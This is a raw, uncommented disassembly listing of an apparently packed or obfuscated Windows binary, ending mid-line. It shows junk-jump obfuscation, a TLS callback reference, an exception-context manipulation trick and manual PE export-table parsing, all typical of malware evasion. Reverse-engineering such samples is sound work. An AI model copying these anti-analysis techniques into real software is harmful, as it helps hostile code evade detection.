XREF: wto1jq8f:0042C0AAj jnz loc_426F81 jmp loc_42B047 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42D96F: ; CODE XREF: sub_426E98+D9j jmp loc_424733 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_42D974: ; CODE XREF: wto1jq8f:loc_42B114j ; wto1jq8f:0042C7FEj push ebx push 17544EB7h pop ebx add ebx, 0E8EE0DFDh xchg ebx, [esp] jmp loc_42D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42D989: ; CODE XREF: sub_426144:loc_42DF9Cj pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42D98D: ; CODE XREF: sub_4260DB+33j jmp loc_425D4A ; END OF FUNCTION CHUNK FOR sub_4260DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42D993 proc near ; CODE XREF: TlsCallback_0+21D7p ; sub_42C21B+Dj ; FUNCTION CHUNK AT 004294AA SIZE 00000005 BYTES mov eax, offset dword_42F1D0 jmp loc_4294AA sub_42D993 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CE80 loc_42D99D: ; CODE XREF: sub_42CE80+9j mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax push offset loc_42BF23 jmp loc_42D408 ; END OF FUNCTION CHUNK FOR sub_42CE80 ; =============== S U B R O U T I N E ======================================= sub_42D9B0 proc near ; CODE XREF: sub_42D67C:loc_42BD85j ; FUNCTION CHUNK AT 00425D16 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042961F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042AD30 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F4C2 SIZE 0000001C BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-7], 10h jmp loc_42AD30 sub_42D9B0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B8C loc_42D9C9: ; CODE XREF: sub_425B8C+9039j jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_425B8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42D9CE: ; CODE XREF: sub_42D9FC+Aj jmp loc_4273BA ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_42D9D3: ; CODE XREF: wto1jq8f:00427F7Dj sbb esi, 648A7D0h ; =============== S U B R O U T I N E ======================================= sub_42D9D9 proc near ; CODE XREF: sub_426E98+47D2p ; FUNCTION CHUNK AT 0042491F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424A05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A5E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424B66 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042676E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426994 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426E8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042876D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004289C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429D86 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042A878 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC95 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C652 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C9C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D0A2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D40D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F09C SIZE 00000005 BYTES mov [esp+0], eax pop eax cmp dword ptr [ebp-8], 0 jnz loc_42D0A2 loc_42D9E7: ; CODE XREF: sub_42D09Cj ; sub_42AEDD:loc_42FBD4j jnz loc_429D96 cmp dword ptr [ebp-1Ch], 66h jnz loc_42676E jmp loc_42A878 sub_42D9D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D9FC proc near ; DATA XREF: sub_42506F+6CA8o ; FUNCTION CHUNK AT 00424668 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042733C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004273BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D9CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EB65 SIZE 0000000E BYTES cmp dword ptr [ebp-8], 19h jnz loc_425074 jmp loc_42D9CE sub_42D9FC endp ; --------------------------------------------------------------------------- loc_42DA0B: ; CODE XREF: wto1jq8f:00425F3Cj ; wto1jq8f:0042CC91j js loc_42F630 add edi, 0B9B5EB10h shr esi, 0Fh ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42DA1A: ; CODE XREF: sub_429BFF:loc_42C8B6j xor eax, 99C3FDB2h add eax, ebp add eax, 7DA36DAEh jmp loc_42E589 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42DA2D: ; CODE XREF: sub_42C486+72Bj popf test ecx, edx jmp loc_425BD2 ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= sub_42DA35 proc near ; CODE XREF: wto1jq8f:00424E37p ; wto1jq8f:0042949Bj ; FUNCTION CHUNK AT 0042CCC5 SIZE 00000003 BYTES mov [esp+0], edx pop edx push ebp mov ebp, esp push eax loc_42DA3D: ; CODE XREF: sub_42D69D+1368j jmp loc_42CCC5 sub_42DA35 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42DA42 proc near ; CODE XREF: wto1jq8f:00425100j ; sub_42FD33+5p mov [esp+0], edx pop edx push 0 call sub_42CEBE sub_42DA42 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42DA4D: ; CODE XREF: sub_4282C1+5D47j push 0FD50022Bh pop ecx add ecx, 0E91406E2h and ecx, 11E5AC22h call sub_42DE87 loc_42DA64: ; CODE XREF: sub_4291B9-24ECj jmp loc_42D3C6 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- loc_42DA69: ; DATA XREF: sub_424859+6F07o push ecx push esi push 50551F55h call sub_42C698 ; START OF FUNCTION CHUNK FOR sub_42604C loc_42DA75: ; CODE XREF: sub_42604C+3DABj jmp loc_42CE4E ; END OF FUNCTION CHUNK FOR sub_42604C ; --------------------------------------------------------------------------- loc_42DA7A: ; DATA XREF: sub_426166+Ao or eax, eax jnz loc_427F44 jmp loc_42B114 ; --------------------------------------------------------------------------- pushf jmp sub_42DE1F ; --------------------------------------------------------------------------- loc_42DA8D: ; CODE XREF: wto1jq8f:0042E4D0j push 0CEF18DAAh ; =============== S U B R O U T I N E ======================================= sub_42DA92 proc near ; CODE XREF: sub_42E833p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004270A6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004277F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E796 SIZE 00000005 BYTES mov [esp+0], edx loc_42DA95: ; CODE XREF: sub_42C486:loc_42AD95j pop edx push ebp mov ebp, esp jmp loc_4277F5 sub_42DA92 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F99C loc_42DA9F: ; CODE XREF: sub_42F99C+Bj jmp nullsub_249 ; END OF FUNCTION CHUNK FOR sub_42F99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D35A loc_42DAA4: ; CODE XREF: sub_42D35A+9j jmp loc_42B7C6 ; END OF FUNCTION CHUNK FOR sub_42D35A ; --------------------------------------------------------------------------- loc_42DAA9: ; CODE XREF: wto1jq8f:004294EFj jmp loc_42A62A ; --------------------------------------------------------------------------- loc_42DAAE: ; DATA XREF: sub_426A84+6o push 0B7F375F7h pop eax push offset loc_429A0D jmp locret_429B60 ; --------------------------------------------------------------------------- add ebp, edx jmp loc_429E5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42DAC5: ; CODE XREF: sub_429471+Ej jz loc_42661B jmp loc_424E5D ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42DAD0: ; CODE XREF: sub_42D434-51FBj xchg eax, [esp-4+arg_0] xchg eax, edx push edx xchg eax, edx push 4CA01415h add eax, edi jmp loc_42A803 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- dword_42DAE4 dd 0 ; sub_42C031:loc_428DB1w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42DAE8: ; CODE XREF: sub_427A8D+7AC1j jmp loc_42FC2D ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424859 loc_42DAED: ; CODE XREF: sub_424859+1j jmp loc_42B75D ; END OF FUNCTION CHUNK FOR sub_424859 ; --------------------------------------------------------------------------- dw 4FC9h dword_42DAF4 dd 7372ACDAh, 23336CCAh, 6C3632E2h ; wto1jq8f:loc_42C9B5o db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B866 loc_42DB01: ; CODE XREF: sub_42B866+7j jmp nullsub_237 ; END OF FUNCTION CHUNK FOR sub_42B866 ; --------------------------------------------------------------------------- dw 26A8h dword_42DB08 dd 0 ; sub_42AA04r ... dword_42DB0C dd 0 ; sub_42C507-59Dw ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C547 loc_42DB10: ; CODE XREF: sub_42C547+10j jmp loc_42D20A ; END OF FUNCTION CHUNK FOR sub_42C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42DB15: ; CODE XREF: sub_42ADC7+Aj jmp loc_428B21 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42DB1A: ; CODE XREF: sub_42C486-52F9j jmp loc_42E602 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- db 7Eh dword_42DB20 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42DB24: ; CODE XREF: sub_426535:loc_428651j ; sub_429165:loc_42F17Bj jz loc_4250CA mov eax, [ebp+var_4] push offset loc_42EF53 jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42DB37: ; CODE XREF: sub_429B76+5BADj push 1A65E1BAh pop edi rol edi, 11h add edi, 3CCE50F7h jmp loc_42E635 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- loc_42DB4B: ; CODE XREF: wto1jq8f:loc_42ABC0j jge sub_42E337 pushf ; =============== S U B R O U T I N E ======================================= sub_42DB52 proc near ; CODE XREF: sub_42F185:loc_42AF78p ; FUNCTION CHUNK AT 00424873 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426485 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426AA4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427F0F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428F51 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F8A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A9A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DBFE SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_427450 push edx push 3327F2A3h jmp loc_426AA4 sub_42DB52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DB66: ; CODE XREF: wto1jq8f:loc_42AC67j xchg edx, [esp] jmp sub_42C547 ; --------------------------------------------------------------------------- loc_42DB6E: ; DATA XREF: sub_42C698+9o xchg eax, [esp] push offset sub_42BD31 jmp locret_426410 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_42DB7B: ; CODE XREF: sub_42727F-C16j jl loc_426E1B jbe loc_42755A jmp loc_426E10 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42DB8C: ; CODE XREF: sub_4244EA+3982j jg loc_425B9F loc_42DB92: ; CODE XREF: sub_4244EA:loc_42B97Fj lea edx, [ebp-14h] push 55533B44h pop eax or eax, 0C009D3DDh jmp loc_429E88 ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_42DBA6 proc near ; DATA XREF: wto1jq8f:00427836o arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042880E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00428F96 SIZE 00000005 BYTES push ebp xchg ecx, ebp mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h lea eax, loc_424294 push edi push 0E6565CD6h pop edi jmp loc_428F96 sub_42DBA6 endp ; --------------------------------------------------------------------------- loc_42DBC5: ; DATA XREF: sub_42FC41-1D52o mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4250CA ; START OF FUNCTION CHUNK FOR sub_42655A loc_42DBD2: ; CODE XREF: sub_42655A:loc_42C26Dj call sub_427A9E ; END OF FUNCTION CHUNK FOR sub_42655A ; START OF FUNCTION CHUNK FOR sub_429165 loc_42DBD7: ; CODE XREF: sub_429165:loc_42A1C7j ; sub_42760F:loc_42F2BDj jnz loc_42AB85 xor eax, eax mov [ebp+var_C], eax jmp loc_42D608 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42DBE7: ; CODE XREF: sub_42BE69-147Aj sub ebx, ecx loc_42DBE9: ; CODE XREF: sub_42BE69:loc_42BA74j push offset loc_42EF9D jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42DBF3: ; CODE XREF: wto1jq8f:0042BDDFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42DBF4: ; CODE XREF: sub_42C486-8DEj jmp loc_427959 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42DBF9: ; CODE XREF: sub_42D4FD-238Bj jmp loc_42F9F6 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42DBFE: ; CODE XREF: sub_42DB52-709Dj jmp loc_428F8A ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_42DC03: ; CODE XREF: sub_42FACF-375Bj and edi, 0E12DC688h loc_42DC09: ; CODE XREF: sub_42FACF:loc_424830j push 2 push 400h push 0F48D1C5Dh pop eax jmp loc_42C3F3 ; END OF FUNCTION CHUNK FOR sub_42FACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DC1B: ; CODE XREF: sub_426535+4482j jnb nullsub_100 jp loc_42F1BC xor esi, ebp jmp loc_42492E ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_4272DE mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE7E loc_42DC48: ; CODE XREF: sub_42BE7E+Dj jmp loc_42C1CB ; END OF FUNCTION CHUNK FOR sub_42BE7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DC4D: ; CODE XREF: sub_426535+212Fj jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_42DC52: ; CODE XREF: sub_426313:loc_424276j ; sub_426313+4D8Bj push offset sub_42C61B jmp loc_4268BB ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= sub_42DC5C proc near ; CODE XREF: wto1jq8f:0042A09Dp ; FUNCTION CHUNK AT 00427FB6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042884C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DE36 SIZE 00000005 BYTES mov [esp+0], edx shl eax, 5 xor ebx, ecx jns loc_42884C rol edx, 1Fh add ecx, eax or ebx, 909E18EEh jmp loc_42DE36 sub_42DC5C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42DC7A: ; CODE XREF: sub_4244EA:loc_42A708j jnz loc_424690 ; END OF FUNCTION CHUNK FOR sub_4244EA ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_42DC80: ; CODE XREF: sub_42A3EB+Cj jmp loc_42CDF9 ; END OF FUNCTION CHUNK FOR sub_42A3EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42DC85: ; CODE XREF: sub_4293FF+13j jmp loc_42BCCF ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- mov ebp, [eax] sub ebx, esi jo loc_42BDB2 jmp loc_42468D ; --------------------------------------------------------------------------- loc_42DC99: ; DATA XREF: wto1jq8f:004244DAo js loc_42C475 xor ecx, ebx sub edx, ebx cmp edx, 1CF3C597h loc_42DCA9: ; CODE XREF: wto1jq8f:0042D0B6j jmp loc_42D0D3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42DCAF: ; CODE XREF: sub_42AA68+53B5j jmp loc_42D186 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; =============== S U B R O U T I N E ======================================= sub_42DCB4 proc near ; CODE XREF: sub_42DCB4-695Dp ; wto1jq8f:0042B41Fj ; FUNCTION CHUNK AT 00424C6D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425FC1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00427349 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428F11 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042950C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042BE01 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042DCC6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042F5D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F63A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FC5E SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx jz loc_425FD1 mov edx, [ebx+ecx] jmp loc_42FC5E sub_42DCB4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42DCC6: ; CODE XREF: sub_42DCB4:loc_42BE01j mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_424485 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- call sub_42EE54 ; START OF FUNCTION CHUNK FOR sub_429A28 loc_42DCDA: ; CODE XREF: sub_429A28+Ej jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_429A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42DCDF: ; CODE XREF: sub_42760F:loc_427772j lea eax, [ebp-125h] push eax call sub_42DECB loc_42DCEB: ; CODE XREF: wto1jq8f:0042D3E3j add eax, ebp add eax, 0CC58C5A9h mov eax, [eax] and dword ptr [eax+24h], 7FFFFFFFh lea eax, [ebp-14h] push eax jmp loc_42CA4A ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- loc_42DD05: ; CODE XREF: wto1jq8f:loc_42F8E6j add edi, 91A6CE52h xchg edi, [esp] jmp loc_424D84 ; --------------------------------------------------------------------------- shl ebx, 10h jmp sub_429D4E ; --------------------------------------------------------------------------- add edi, esi jmp loc_42B274 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42DD22: ; CODE XREF: sub_429BFF:loc_427A88j jnz loc_424FE4 jmp loc_42C22D ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DD2D proc near ; CODE XREF: sub_426E98:loc_42FAFCp ; FUNCTION CHUNK AT 00424748 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004299F6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DF6E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E63F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042E8F8 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42E504 or eax, eax jmp loc_42E8F8 sub_42DD2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- rol ebx, 11h jmp loc_4269CB ; --------------------------------------------------------------------------- push ebx call sub_4262CE ; START OF FUNCTION CHUNK FOR sub_42D120 loc_42DD4F: ; CODE XREF: sub_42D120+8j jmp loc_42B917 ; END OF FUNCTION CHUNK FOR sub_42D120 ; --------------------------------------------------------------------------- loc_42DD54: ; CODE XREF: wto1jq8f:loc_42D116j mov eax, [eax] or eax, eax jnz loc_42EC79 jmp loc_42B9C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42DD64: ; CODE XREF: wto1jq8f:00429207j jmp loc_42810B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42DD69: ; CODE XREF: sub_42F6A9:loc_424ECEj jz loc_42898E loc_42DD6F: ; CODE XREF: sub_42F745+13j jmp loc_42C686 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- dd 8A0FC103h, 0FFFFCB88h, 0BE9C533h, 2BFFFFACh, 27D581EAh dd 0E968D041h, 0FFFFF3A3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42DD90: ; CODE XREF: sub_42C486+2239j push offset loc_42FE9F jmp loc_42469F ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: wto1jq8f:0042F29Aj pop ebp ; START OF FUNCTION CHUNK FOR sub_42AAF6 loc_42DD9B: ; CODE XREF: sub_42AAF6+6F4j add ebx, 3EDB7720h xchg ebx, [esp+4+var_4] jmp sub_42FB2F ; END OF FUNCTION CHUNK FOR sub_42AAF6 ; --------------------------------------------------------------------------- rol ecx, 3 jmp loc_42A888 ; --------------------------------------------------------------------------- loc_42DDB1: ; CODE XREF: wto1jq8f:loc_429FB6j adc ebp, 31191BFAh jmp loc_424977 ; --------------------------------------------------------------------------- loc_42DDBC: ; DATA XREF: sub_426E65+8o xor [esi], ebx add [esi], ecx loc_42DDC0: ; CODE XREF: wto1jq8f:loc_42D197j xor [esi], edx push offset loc_428CD0 jmp locret_4264C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42DDCC: ; CODE XREF: sub_426144+10j test eax, 1 jz loc_428361 jmp loc_42E2EB ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424ADA loc_42DDDC: ; CODE XREF: sub_424ADA:loc_4273F2j mov esi, edi rol edi, 1Fh jmp loc_426ED4 ; END OF FUNCTION CHUNK FOR sub_424ADA ; =============== S U B R O U T I N E ======================================= sub_42DDE6 proc near ; CODE XREF: wto1jq8f:004289EFj ; sub_429D2E:loc_42F12Ap ; FUNCTION CHUNK AT 00426388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B535 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D52C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EF69 SIZE 00000006 BYTES mov [esp+0], edi pop edi push 8525D20Ch pop edx or edx, 0D9630A6Ah test edx, 2000h loc_42DDFC: ; CODE XREF: wto1jq8f:0042F95Aj jmp loc_42D52C sub_42DDE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42DE02: ; CODE XREF: sub_428AC6+579Cj jmp loc_427EC2 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F7AD loc_42DE07: ; CODE XREF: sub_42F7AD:loc_42CCD4j push offset sub_42E555 jmp nullsub_248 ; END OF FUNCTION CHUNK FOR sub_42F7AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42DE11: ; CODE XREF: sub_42F6A9-9AA1j mov eax, [ebp+0] test edx, 0D8B10D16h jmp loc_42A10F ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; =============== S U B R O U T I N E ======================================= sub_42DE1F proc near ; CODE XREF: sub_429BD3-5917p ; wto1jq8f:0042DA88j ; FUNCTION CHUNK AT 0042DE3B SIZE 0000000E BYTES mov [esp+0], eax pop eax push edx push 0F09F0624h pop edx or edx, 0A61E270Bh js loc_42DE3B sub_42DE1F endp ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42DE36: ; CODE XREF: sub_42DC5C+19j jmp loc_427FB6 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE1F loc_42DE3B: ; CODE XREF: wto1jq8f:004262C1j ; sub_42DE1F+11j add edx, 9A3251Dh xchg edx, [esp+0] jmp sub_42AECE ; END OF FUNCTION CHUNK FOR sub_42DE1F ; --------------------------------------------------------------------------- loc_42DE49: ; CODE XREF: wto1jq8f:0042A327j jnz loc_42FDA6 jmp loc_42808C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_42DE54: ; CODE XREF: sub_42A197:loc_4288D3j add ebx, ecx or ebx, 179654D9h cdq xchg ecx, eax jmp loc_42EFBE ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- loc_42DE64: ; CODE XREF: wto1jq8f:00426D24j pushf ; =============== S U B R O U T I N E ======================================= sub_42DE65 proc near ; CODE XREF: sub_4244EA:loc_42A4DFp ; FUNCTION CHUNK AT 0042B7C6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042BA12 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx inc dword ptr [ebp-4] jmp loc_42B7C6 sub_42DE65 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DE71: ; CODE XREF: wto1jq8f:0042FA51j jnz loc_42AA2A ; =============== S U B R O U T I N E ======================================= sub_42DE77 proc near ; CODE XREF: sub_42C43B-7FE3p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042972A SIZE 0000000E BYTES mov [esp+4+var_4], esi pop esi pop edx jmp loc_42972A sub_42DE77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DE81: ; CODE XREF: wto1jq8f:00425988j jnb loc_428943 ; =============== S U B R O U T I N E ======================================= sub_42DE87 proc near ; CODE XREF: sub_4282C1+579Ep var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424A59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428116 SIZE 0000001E BYTES mov [esp+8+var_8], edx pop edx add ecx, 7734205Bh xchg ecx, [esp+0] jmp loc_424A59 sub_42DE87 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea eax, sub_42A59B mov [ebp-4], eax push edx push 0C4C2F45Dh jmp loc_42FB54 ; --------------------------------------------------------------------------- locret_42DEAD: ; CODE XREF: wto1jq8f:0042E2B8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42DEAE: ; CODE XREF: sub_42C486-4B10j and ecx, 7 mov al, 1 shl al, cl mov edx, [ebp-14h] shr edx, 3 push 0C468EE20h jmp loc_42A0D3 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42DEC5: ; CODE XREF: sub_42D69D+279Cj pop edx call sub_42859D ; END OF FUNCTION CHUNK FOR sub_42D69D ; =============== S U B R O U T I N E ======================================= sub_42DECB proc near ; CODE XREF: sub_42760F+66D7p ; wto1jq8f:0042FE12j ; FUNCTION CHUNK AT 0042596A SIZE 